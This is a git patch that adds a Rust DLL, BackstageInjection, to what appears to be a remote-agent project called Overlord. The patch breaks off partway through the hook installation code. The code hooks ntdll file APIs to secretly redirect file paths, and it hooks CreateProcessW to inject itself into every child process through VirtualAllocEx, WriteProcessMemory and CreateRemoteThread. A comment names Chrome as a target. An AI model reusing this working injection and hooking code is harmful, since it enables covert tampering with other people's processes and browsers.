From 95fe6d18d8ee509b82e75929da955517719d0628 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 19 Aug 2026 14:37:43 -0500 Subject: [PATCH] test --- .github/workflows/docker-publish.yml | 37 +- BackstageInjection-Rust/.cargo/config.toml | 7 + BackstageInjection-Rust/.gitignore | 1 + BackstageInjection-Rust/Cargo.lock | 127 +++++ BackstageInjection-Rust/Cargo.toml | 18 + BackstageInjection-Rust/src/abi.rs | 222 ++++++++ BackstageInjection-Rust/src/config.rs | 33 ++ BackstageInjection-Rust/src/hooks.rs | 531 ++++++++++++++++++ BackstageInjection-Rust/src/inject.rs | 113 ++++ BackstageInjection-Rust/src/lib.rs | 58 ++ BackstageInjection-Rust/src/log.rs | 129 +++++ BackstageInjection-Rust/src/util.rs | 169 ++++++ Dockerfile | 24 +- .../agent/capture/backstage_inject_windows.go | 30 +- scripts/build-backstage-dll.bat | 51 +- scripts/build-backstage-dll.sh | 234 +------- 16 files changed, 1495 insertions(+), 289 deletions(-) create mode 100644 BackstageInjection-Rust/.cargo/config.toml create mode 100644 BackstageInjection-Rust/.gitignore create mode 100644 BackstageInjection-Rust/Cargo.lock create mode 100644 BackstageInjection-Rust/Cargo.toml create mode 100644 BackstageInjection-Rust/src/abi.rs create mode 100644 BackstageInjection-Rust/src/config.rs create mode 100644 BackstageInjection-Rust/src/hooks.rs create mode 100644 BackstageInjection-Rust/src/inject.rs create mode 100644 BackstageInjection-Rust/src/lib.rs create mode 100644 BackstageInjection-Rust/src/log.rs create mode 100644 BackstageInjection-Rust/src/util.rs diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index 9298aab..89f66f9 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -23,37 +23,8 @@ jobs: - name: Confirm release approval run: echo "Approved release ${RELEASE_VERSION}" - build-backstage-dll: - needs: approve-release - runs-on: windows-latest - permissions: - contents: read - steps: - - name: Validate Release Version - shell: pwsh - run: | - if ($env:RELEASE_VERSION -notmatch '^\d+\.\d+\.\d+$') { - throw "Release version must be strict semver like 1.2.3; got '$env:RELEASE_VERSION'" - } - - - name: Checkout repository - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - - - name: Build BackstageInjection DLL with MSVC - shell: cmd - run: call scripts\build-backstage-dll.bat - - - name: Upload backstage DLLs - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 - with: - name: backstage-dll - path: | - Overlord-Server/dist-clients/BackstageInjection.x64.dll - if-no-files-found: error - retention-days: 1 - build-and-push: - needs: build-backstage-dll + needs: approve-release name: Build and push (${{ matrix.platform }}) runs-on: ${{ matrix.runner }} timeout-minutes: 45 @@ -75,12 +46,6 @@ jobs: - name: Checkout repository uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - - name: Download backstage DLLs - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 - with: - name: backstage-dll - path: Overlord-Server/dist-clients - - name: Read Source Version id: srcver shell: bash diff --git a/BackstageInjection-Rust/.cargo/config.toml b/BackstageInjection-Rust/.cargo/config.toml new file mode 100644 index 0000000..658107f --- /dev/null +++ b/BackstageInjection-Rust/.cargo/config.toml @@ -0,0 +1,7 @@ +# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL +# dependency at runtime (Chrome and other targets may not have it preloaded). +[target.x86_64-pc-windows-msvc] +rustflags = ["-C", "target-feature=+crt-static"] + +[target.x86_64-pc-windows-gnu] +rustflags = ["-C", "target-feature=+crt-static"] \ No newline at end of file diff --git a/BackstageInjection-Rust/.gitignore b/BackstageInjection-Rust/.gitignore new file mode 100644 index 0000000..c41cc9e --- /dev/null +++ b/BackstageInjection-Rust/.gitignore @@ -0,0 +1 @@ +/target \ No newline at end of file diff --git a/BackstageInjection-Rust/Cargo.lock b/BackstageInjection-Rust/Cargo.lock new file mode 100644 index 0000000..bc0f389 --- /dev/null +++ b/BackstageInjection-Rust/Cargo.lock @@ -0,0 +1,127 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "backstage-injection-rs" +version = "0.1.0" +dependencies = [ + "minhook", +] + +[[package]] +name = "cc" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "509591b7bcd67f4ef775afad7662703b4935daaa6ec0e5605cfb1090b32a2b6d" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d45db016d36b838f563236e9193d0ee6ce38f3f68b6c94e914b4929c96bbb890" + +[[package]] +name = "log" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" + +[[package]] +name = "minhook" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "455e088cb1600ffa5f1524c9702c9eeb0ba3604e0f4932efa165b99973272a8d" +dependencies = [ + "cc", + "tracing", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" diff --git a/BackstageInjection-Rust/Cargo.toml b/BackstageInjection-Rust/Cargo.toml new file mode 100644 index 0000000..4cb81b5 --- /dev/null +++ b/BackstageInjection-Rust/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "backstage-injection-rs" +version = "0.1.0" +edition = "2021" + +[lib] +name = "BackstageInjection" +crate-type = ["cdylib"] + +[dependencies] +minhook = "0.9.0" + +[profile.release] +opt-level = 3 +lto = true +codegen-units = 1 +panic = "unwind" +strip = true diff --git a/BackstageInjection-Rust/src/abi.rs b/BackstageInjection-Rust/src/abi.rs new file mode 100644 index 0000000..7db3c29 --- /dev/null +++ b/BackstageInjection-Rust/src/abi.rs @@ -0,0 +1,222 @@ +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(dead_code)] + +use core::ffi::c_void; + +// ---- NTSTATUS ---- +pub const STATUS_UNSUCCESSFUL: i32 = 0xC000_0001u32 as i32; + +// ---- Memory allocation constants ---- +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const PAGE_READWRITE: u32 = 0x04; + +// ---- CreateProcess flags ---- +pub const CREATE_SUSPENDED: u32 = 0x0000_0004; + +// ---- CompareStringOrdinal results ---- +pub const CSTR_LESS_THAN: i32 = 1; +pub const CSTR_EQUAL: i32 = 2; +pub const CSTR_GREATER_THAN: i32 = 3; + +// ---- Log-file API constants ---- +pub const FILE_APPEND_DATA: u32 = 0x0000_0004; +pub const FILE_SHARE_READ: u32 = 0x1; +pub const FILE_SHARE_WRITE: u32 = 0x2; +pub const FILE_SHARE_DELETE: u32 = 0x4; +pub const OPEN_ALWAYS: u32 = 4; +pub const INVALID_HANDLE_VALUE: usize = usize::MAX; + +// ---- WaitForSingleObject ---- +pub const WAIT_OBJECT_0: u32 = 0; +pub const WAIT_TIMEOUT: u32 = 0x0000_0102; +pub const WAIT_FAILED: u32 = 0xFFFF_FFFF; +pub const INFINITE: u32 = 0xFFFF_FFFF; + +// ---- FILE_INFORMATION_CLASS values used by the hook logic ---- +pub const FILE_RENAME_INFORMATION: u32 = 10; +pub const FILE_RENAME_INFORMATION_EX: u32 = 65; + +// ---- Rename info header size (BOOLEAN/ULONG + padding + HANDLE + ULONG) ---- +pub const RENAME_INFO_HEADER_WCHARS: usize = 10; +pub const RENAME_INFO_HEADER_BYTES: usize = 20; + +// ---- NT structures (x64 layout, matching the C reference) ---- + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct UnicodeString { + pub Length: u16, + pub MaximumLength: u16, + pub Buffer: *mut u16, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct ObjectAttributes { + pub Length: u32, + pub RootDirectory: usize, + pub ObjectName: *mut UnicodeString, + pub Attributes: u32, + pub SecurityDescriptor: *mut c_void, + pub SecurityQualityOfService: *mut c_void, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct IoStatusBlock { + pub Status: usize, + pub Information: usize, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct StartupInfoW { + pub cb: u32, + pub lpReserved: *mut u16, + pub lpDesktop: *mut u16, + pub lpTitle: *mut u16, + pub dwX: u32, + pub dwY: u32, + pub dwXSize: u32, + pub dwYSize: u32, + pub dwXCountChars: u32, + pub dwYCountChars: u32, + pub dwFillAttribute: u32, + pub dwFlags: u32, + pub wShowWindow: u16, + pub cbReserved2: u16, + pub lpReserved2: *mut u8, + pub hStdInput: usize, + pub hStdOutput: usize, + pub hStdError: usize, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct ProcessInformation { + pub hProcess: usize, + pub hThread: usize, + pub dwProcessId: u32, + pub dwThreadId: u32, +} + +// ---- NT API function pointer types ---- +pub type NtCreateFileFn = extern "system" fn( + *mut usize, // PHANDLE FileHandle + u32, // ULONG DesiredAccess + *mut ObjectAttributes, + *mut IoStatusBlock, + *mut i64, // PLARGE_INTEGER AllocationSize + u32, // ULONG FileAttributes + u32, // ULONG ShareAccess + u32, // ULONG CreateDisposition + u32, // ULONG CreateOptions + *mut c_void, // PVOID EaBuffer + u32, // ULONG EaLength +) -> i32; + +pub type NtOpenFileFn = extern "system" fn( + *mut usize, + u32, + *mut ObjectAttributes, + *mut IoStatusBlock, + u32, + u32, +) -> i32; + +pub type NtDeleteFileFn = extern "system" fn(*mut ObjectAttributes) -> i32; + +pub type NtSetInformationFileFn = extern "system" fn( + usize, // HANDLE FileHandle + *mut IoStatusBlock, + *mut c_void, // PVOID FileInformation + u32, // ULONG Length + u32, // FILE_INFORMATION_CLASS +) -> i32; + +pub type NtQueryAttributesFileFn = extern "system" fn(*mut ObjectAttributes, *mut c_void) -> i32; + +pub type NtQueryFullAttributesFileFn = extern "system" fn(*mut ObjectAttributes, *mut c_void) -> i32; + +pub type CreateProcessWFn = extern "system" fn( + *const u16, // LPCWSTR lpApplicationName + *mut u16, // LPWSTR lpCommandLine + *mut c_void, // LPSECURITY_ATTRIBUTES lpProcessAttributes + *mut c_void, // LPSECURITY_ATTRIBUTES lpThreadAttributes + i32, // BOOL bInheritHandles + u32, // DWORD dwCreationFlags + *mut c_void, // LPVOID lpEnvironment + *const u16, // LPCWSTR lpCurrentDirectory + *mut StartupInfoW, // LPSTARTUPINFOW lpStartupInfo + *mut ProcessInformation, +) -> i32; + +// ---- kernel32 / ntdll imports ---- + +#[link(name = "kernel32")] +extern "system" { + pub fn GetModuleHandleW(lpModuleName: *const u16) -> usize; + pub fn GetModuleFileNameW(hModule: usize, lpFilename: *mut u16, nSize: u32) -> u32; + pub fn GetProcAddress(hModule: usize, lpProcName: *const u8) -> usize; + pub fn GetEnvironmentVariableW( + lpName: *const u16, + lpBuffer: *mut u16, + nSize: u32, + ) -> u32; + pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32; + pub fn CompareStringOrdinal( + lpString1: *const u16, + cchCount1: i32, + lpString2: *const u16, + cchCount2: i32, + bIgnoreCase: i32, + ) -> i32; + pub fn VirtualAllocEx( + hProcess: usize, + lpAddress: usize, + dwSize: usize, + flAllocationType: u32, + flProtect: u32, + ) -> usize; + pub fn WriteProcessMemory( + hProcess: usize, + lpBaseAddress: usize, + lpBuffer: *const c_void, + nSize: usize, + lpNumberOfBytesWritten: *mut usize, + ) -> i32; + pub fn CreateRemoteThread( + hProcess: usize, + lpThreadAttributes: *mut c_void, + dwStackSize: usize, + lpStartAddress: usize, + lpParameter: usize, + dwCreationFlags: u32, + lpThreadId: *mut u32, + ) -> usize; + pub fn WaitForSingleObject(hHandle: usize, dwMilliseconds: u32) -> u32; + pub fn GetExitCodeThread(hThread: usize, lpExitCode: *mut u32) -> i32; + pub fn CloseHandle(hObject: usize) -> i32; + pub fn ResumeThread(hThread: usize) -> u32; + pub fn Sleep(dwMilliseconds: u32); + pub fn GetCurrentProcessId() -> u32; + pub fn CreateDirectoryW(lpPathName: *const u16, lpSecurityAttributes: *mut c_void) -> i32; + pub fn CreateFileW( + lpFileName: *const u16, + dwDesiredAccess: u32, + dwShareMode: u32, + lpSecurityAttributes: *mut c_void, + dwCreationDisposition: u32, + dwFlagsAndAttributes: u32, + hTemplateFile: usize, + ) -> usize; + pub fn WriteFile( + hFile: usize, + lpBuffer: *const c_void, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; +} \ No newline at end of file diff --git a/BackstageInjection-Rust/src/config.rs b/BackstageInjection-Rust/src/config.rs new file mode 100644 index 0000000..eaba379 --- /dev/null +++ b/BackstageInjection-Rust/src/config.rs @@ -0,0 +1,33 @@ +//! Redirect configuration read from environment variables on attach. + +use crate::abi::GetEnvironmentVariableW; + +const ENV_BUFFER_WCHARS: u32 = 2048; + +#[derive(Default, Clone)] +pub struct HookConfig { + pub search: Vec, + pub replace: Vec, +} + +const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH"; +const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH"; + +pub fn load() -> HookConfig { + HookConfig { + search: read_env(RDI_SEARCH_PATH), + replace: read_env(RDI_REPLACE_PATH), + } +} + +fn read_env(name: &str) -> Vec { + let name = name.encode_utf16().chain(core::iter::once(0)).collect::>(); + let mut buf = [0u16; ENV_BUFFER_WCHARS as usize]; + unsafe { + let len = GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), ENV_BUFFER_WCHARS); + if len == 0 || len >= ENV_BUFFER_WCHARS { + return Vec::new(); + } + buf[..len as usize].to_vec() + } +} \ No newline at end of file diff --git a/BackstageInjection-Rust/src/hooks.rs b/BackstageInjection-Rust/src/hooks.rs new file mode 100644 index 0000000..4cc9f10 --- /dev/null +++ b/BackstageInjection-Rust/src/hooks.rs @@ -0,0 +1,531 @@ +//! MinHook installation/removal and every detour function. + +use core::ffi::c_void; +use std::slice; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::OnceLock; + +use minhook::MinHook; + +use crate::abi::{ + self, CreateProcessWFn, IoStatusBlock, NtCreateFileFn, NtDeleteFileFn, NtOpenFileFn, + NtQueryAttributesFileFn, NtQueryFullAttributesFileFn, NtSetInformationFileFn, ObjectAttributes, + ProcessInformation, StartupInfoW, UnicodeString, +}; +use crate::config::HookConfig; +use crate::inject; +use crate::util::{self, UNICODE_STRING_MAX_WCHARS}; +use crate::dbg_log; + +static HOOKS_CONFIG: OnceLock = OnceLock::new(); + +static HOOKS_INITIALIZED: AtomicBool = AtomicBool::new(false); + +static ORIG_NT_CREATE_FILE: AtomicUsize = AtomicUsize::new(0); +static ORIG_NT_OPEN_FILE: AtomicUsize = AtomicUsize::new(0); +static ORIG_NT_DELETE_FILE: AtomicUsize = AtomicUsize::new(0); +static ORIG_NT_SET_INFORMATION_FILE: AtomicUsize = AtomicUsize::new(0); +static ORIG_NT_QUERY_ATTRIBUTES_FILE: AtomicUsize = AtomicUsize::new(0); +static ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE: AtomicUsize = AtomicUsize::new(0); +static ORIG_CREATE_PROCESS_W: AtomicUsize = AtomicUsize::new(0); + +static CALL_SEQ: AtomicUsize = AtomicUsize::new(0); + +unsafe fn read_oa_path(oa: *mut ObjectAttributes) -> Vec { + if oa.is_null() { + return Vec::new(); + } + let name = unsafe { &*oa }.ObjectName; + if name.is_null() { + return Vec::new(); + } + let name = unsafe { &*name }; + if name.Buffer.is_null() { + return Vec::new(); + } + let len = (name.Length as usize) / 2; + if len == 0 { + return Vec::new(); + } + unsafe { slice::from_raw_parts(name.Buffer, len).to_vec() } +} + +fn redirect_config() -> Option<&'static HookConfig> { + let cfg = HOOKS_CONFIG.get()?; + if cfg.search.is_empty() || cfg.replace.is_empty() { + return None; + } + Some(cfg) +} + +struct ObjectNameRedirect { + oa: *mut ObjectAttributes, + original: *mut UnicodeString, + new_string: Box, + _path: Vec, +} + +impl Drop for ObjectNameRedirect { + fn drop(&mut self) { + unsafe { + (*self.oa).ObjectName = self.original; + } + } +} + +unsafe fn object_redirect(oa: *mut ObjectAttributes) -> Option { + if oa.is_null() { + return None; + } + let oa_ref = unsafe { &mut *oa }; + if oa_ref.ObjectName.is_null() { + return None; + } + let name = unsafe { &*oa_ref.ObjectName }; + if name.Buffer.is_null() { + return None; + } + + let cfg = redirect_config()?; + + let path_len = (name.Length as usize) / 2; + if path_len == 0 { + return None; + } + let path = unsafe { slice::from_raw_parts(name.Buffer, path_len) }; + + if !util::needs_redirection(path, &cfg.search) { + return None; + } + let new_path = util::replace_path(path, &cfg.search, &cfg.replace)?; + if new_path.len() > UNICODE_STRING_MAX_WCHARS { + return None; + } + + let mut new_string = Box::new(UnicodeString { + Length: (new_path.len() * 2) as u16, + MaximumLength: ((new_path.len() + 1) * 2) as u16, + Buffer: core::ptr::null_mut(), + }); + new_string.Buffer = new_path.as_ptr() as *mut u16; + + let guard = ObjectNameRedirect { + oa, + original: oa_ref.ObjectName, + new_string, + _path: new_path, + }; + oa_ref.ObjectName = (&*guard.new_string) as *const UnicodeString as *mut UnicodeString; + dbg_log!( + "redirect: '{}' -> '{}'", + crate::log::display_wide(path), + crate::log::display_wide(&guard._path), + ); + Some(guard) +} + +fn rename_redirect( + file_information: *mut c_void, + class: u32, + length: u32, +) -> Option> { + if !(class == abi::FILE_RENAME_INFORMATION || class == abi::FILE_RENAME_INFORMATION_EX) { + return None; + } + if file_information.is_null() || (length as usize) < abi::RENAME_INFO_HEADER_BYTES { + return None; + } + let cfg = redirect_config()?; + + let p = file_information as *const u8; + let header = unsafe { slice::from_raw_parts(p, abi::RENAME_INFO_HEADER_BYTES) }; + let name_len_bytes = + u32::from_le_bytes([header[16], header[17], header[18], header[19]]); + if name_len_bytes == 0 { + return None; + } + let chars = (name_len_bytes as usize) / 2; + if abi::RENAME_INFO_HEADER_BYTES + chars > length as usize { + return None; + } + + let path = unsafe { + slice::from_raw_parts(p.add(abi::RENAME_INFO_HEADER_BYTES) as *const u16, chars) + }; + if !util::needs_redirection(path, &cfg.search) { + return None; + } + let new_path = util::replace_path(path, &cfg.search, &cfg.replace)?; + + let new_len_bytes = new_path.len() * 2; + let mut buf = Vec::with_capacity(abi::RENAME_INFO_HEADER_BYTES + new_len_bytes); + buf.extend_from_slice(header); + buf[16..20].copy_from_slice(&(new_len_bytes as u32).to_le_bytes()); + for &unit in &new_path { + buf.extend_from_slice(&unit.to_le_bytes()); + } + dbg_log!( + "rename redirect class={class}: '{}' -> '{}'", + crate::log::display_wide(path), + crate::log::display_wide(&new_path), + ); + Some(buf) +} + +pub extern "system" fn detour_nt_create_file( + file_handle: *mut usize, + desired_access: u32, + object_attributes: *mut ObjectAttributes, + io_status_block: *mut IoStatusBlock, + allocation_size: *mut i64, + file_attributes: u32, + share_access: u32, + create_disposition: u32, + create_options: u32, + ea_buffer: *mut c_void, + ea_length: u32, +) -> i32 { + let orig_addr = ORIG_NT_CREATE_FILE.load(Ordering::SeqCst); + if orig_addr == 0 { + return abi::STATUS_UNSUCCESSFUL; + } + let seq = CALL_SEQ.fetch_add(1, Ordering::Relaxed); + let orig_path = unsafe { read_oa_path(object_attributes) }; + let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) { + unsafe { object_redirect(object_attributes) } + } else { + None + }; + let redirected = _guard.is_some(); + let orig: NtCreateFileFn = unsafe { core::mem::transmute(orig_addr) }; + let status = orig( + file_handle, + desired_access, + object_attributes, + io_status_block, + allocation_size, + file_attributes, + share_access, + create_disposition, + create_options, + ea_buffer, + ea_length, + ); + dbg_log!( + "ntcreate[{seq}] in='{}' redirect={redirected} out=0x{status:x}", + crate::log::display_wide(&orig_path), + ); + status +} + +pub extern "system" fn detour_nt_open_file( + file_handle: *mut usize, + desired_access: u32, + object_attributes: *mut ObjectAttributes, + io_status_block: *mut IoStatusBlock, + share_access: u32, + open_options: u32, +) -> i32 { + let orig_addr = ORIG_NT_OPEN_FILE.load(Ordering::SeqCst); + if orig_addr == 0 { + return abi::STATUS_UNSUCCESSFUL; + } + let seq = CALL_SEQ.fetch_add(1, Ordering::Relaxed); + let orig_path = unsafe { read_oa_path(object_attributes) }; + let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) { + unsafe { object_redirect(object_attributes) } + } else { + None + }; + let redirected = _guard.is_some(); + let orig: NtOpenFileFn = unsafe { core::mem::transmute(orig_addr) }; + let status = orig( + file_handle, + desired_access, + object_attributes, + io_status_block, + share_access, + open_options, + ); + dbg_log!( + "ntopen[{seq}] in='{}' redirect={redirected} out=0x{status:x}", + crate::log::display_wide(&orig_path), + ); + status +} + +pub extern "system" fn detour_nt_delete_file( + object_attributes: *mut ObjectAttributes, +) -> i32 { + let orig_addr = ORIG_NT_DELETE_FILE.load(Ordering::SeqCst); + if orig_addr == 0 { + return abi::STATUS_UNSUCCESSFUL; + } + let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) { + unsafe { object_redirect(object_attributes) } + } else { + None + }; + let orig: NtDeleteFileFn = unsafe { core::mem::transmute(orig_addr) }; + orig(object_attributes) +} + +pub extern "system" fn detour_nt_set_information_file( + file_handle: usize, + io_status_block: *mut IoStatusBlock, + file_information: *mut c_void, + length: u32, + class: u32, +) -> i32 { + let orig_addr = ORIG_NT_SET_INFORMATION_FILE.load(Ordering::SeqCst); + if orig_addr == 0 { + return abi::STATUS_UNSUCCESSFUL; + } + let orig: NtSetInformationFileFn = unsafe { core::mem::transmute(orig_addr) }; + + if HOOKS_INITIALIZED.load(Ordering::SeqCst) { + if let Some(redirect) = rename_redirect(file_information, class, length) { + return orig( + file_handle, + io_status_block, + redirect.as_ptr() as *mut c_void, + redirect.len() as u32, + class, + ); + } + } + orig( + file_handle, + io_status_block, + file_information, + length, + class, + ) +} + +pub extern "system" fn detour_nt_query_attributes_file( + object_attributes: *mut ObjectAttributes, + file_information: *mut c_void, +) -> i32 { + let orig_addr = ORIG_NT_QUERY_ATTRIBUTES_FILE.load(Ordering::SeqCst); + if orig_addr == 0 { + return abi::STATUS_UNSUCCESSFUL; + } + let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) { + unsafe { object_redirect(object_attributes) } + } else { + None + }; + let orig: NtQueryAttributesFileFn = unsafe { core::mem::transmute(orig_addr) }; + orig(object_attributes, file_information) +} +pub extern "system" fn detour_nt_query_full_attributes_file( + object_attributes: *mut ObjectAttributes, + file_information: *mut c_void, +) -> i32 { + let orig_addr = ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.load(Ordering::SeqCst); + if orig_addr == 0 { + return abi::STATUS_UNSUCCESSFUL; + } + let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) { + unsafe { object_redirect(object_attributes) } + } else { + None + }; + let orig: NtQueryFullAttributesFileFn = unsafe { core::mem::transmute(orig_addr) }; + orig(object_attributes, file_information) +} + +pub extern "system" fn detour_create_process_w( + lp_application_name: *const u16, + lp_command_line: *mut u16, + lp_process_attributes: *mut c_void, + lp_thread_attributes: *mut c_void, + b_inherit_handles: i32, + dw_creation_flags: u32, + lp_environment: *mut c_void, + lp_current_directory: *const u16, + lp_startup_info: *mut StartupInfoW, + lp_process_information: *mut ProcessInformation, +) -> i32 { + let orig_addr = ORIG_CREATE_PROCESS_W.load(Ordering::SeqCst); + if orig_addr == 0 { + return 0; + } + let orig: CreateProcessWFn = unsafe { core::mem::transmute(orig_addr) }; + + let was_suspended = (dw_creation_flags & abi::CREATE_SUSPENDED) != 0; + let modified_flags = dw_creation_flags | abi::CREATE_SUSPENDED; + + let result = orig( + lp_application_name, + lp_command_line, + lp_process_attributes, + lp_thread_attributes, + b_inherit_handles, + modified_flags, + lp_environment, + lp_current_directory, + lp_startup_info, + lp_process_information, + ); + + if result != 0 && !lp_process_information.is_null() { + let child_pid = unsafe { (*lp_process_information).dwProcessId }; + if !HOOKS_INITIALIZED.load(Ordering::SeqCst) { + dbg_log!( + "CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection" + ); + } else if let Some(path) = inject::our_path() { + if !path.is_empty() { + let ok = unsafe { inject::inject_library((*lp_process_information).hProcess, path) }; + dbg_log!( + "CreateProcessW child pid={child_pid} app='{}' inject={ok} suspended_forced={}", + display_cmd(lp_application_name, lp_command_line), + !was_suspended, + ); + } else { + dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty"); + } + } else { + dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll path recorded"); + } + if !was_suspended { + unsafe { + abi::ResumeThread((*lp_process_information).hThread); + } + } + } else { + dbg_log!( + "CreateProcessW failed or no proc info (result={result}) — no injection" + ); + } + + result +} + +fn display_cmd(lp_application_name: *const u16, lp_command_line: *mut u16) -> String { + let raw = if !lp_application_name.is_null() { + unsafe { core::slice::from_raw_parts(lp_application_name, 512) } + } else if !lp_command_line.is_null() { + unsafe { core::slice::from_raw_parts(lp_command_line.cast_const(), 512) } + } else { + return String::new(); + }; + let end = raw.iter().position(|&c| c == 0).unwrap_or(raw.len()); + crate::log::display_wide(&raw[..end]) +} + +fn install_one( + module: &[u16], + proc_name: &[u8], + detour: usize, + store: &AtomicUsize, +) -> bool { + let h_module = unsafe { abi::GetModuleHandleW(module.as_ptr()) }; + if h_module == 0 { + dbg_log!( + "hook target: module '{}' not loaded", + crate::log::display_wide(module) + ); + return false; + } + let target = unsafe { abi::GetProcAddress(h_module, proc_name.as_ptr()) }; + if target == 0 { + dbg_log!( + "hook target: export '{}' not found in '{}'", + String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]), + crate::log::display_wide(module) + ); + return false; + } + match unsafe { MinHook::create_hook(target as *mut c_void, detour as *mut c_void) } { + Ok(orig) => match unsafe { MinHook::enable_hook(target as *mut c_void) } { + Ok(()) => { + store.store(orig as usize, Ordering::SeqCst); + true + } + Err(why) => { + let _ = unsafe { MinHook::remove_hook(target as *mut c_void) }; + dbg_log!( + "hook enable failed for '{}': {:?}", + String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]), + why + ); + false + } + }, + Err(why) => { + dbg_log!( + "hook create failed for '{}': {:?}", + String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]), + why + ); + false + } + } +} + +pub fn install(cfg: HookConfig) { + let redirect_on = !cfg.search.is_empty() && !cfg.replace.is_empty(); + dbg_log!( + "install: config loaded search={} replace={} -> redirect_active={}", + crate::log::display_wide(&cfg.search), + crate::log::display_wide(&cfg.replace), + redirect_on, + ); + let _ = HOOKS_CONFIG.set(cfg); + + let ntdll = util::wide_zstr("ntdll.dll"); + let kernel32 = util::wide_zstr("kernel32.dll"); + + let create = install_one(&ntdll, b"NtCreateFile\0", detour_nt_create_file as *const () as usize, &ORIG_NT_CREATE_FILE); + let open = install_one(&ntdll, b"NtOpenFile\0", detour_nt_open_file as *const () as usize, &ORIG_NT_OPEN_FILE); + let delete = install_one(&ntdll, b"NtDeleteFile\0", detour_nt_delete_file as *const () as usize, &ORIG_NT_DELETE_FILE); + let set_info = install_one(&ntdll, b"NtSetInformationFile\0", detour_nt_set_information_file as *const () as usize, &ORIG_NT_SET_INFORMATION_FILE); + let query_attrs = install_one(&ntdll, b"NtQueryAttributesFile\0", detour_nt_query_attributes_file as *const () as usize, &ORIG_NT_QUERY_ATTRIBUTES_FILE); + let query_full = install_one(&ntdll, 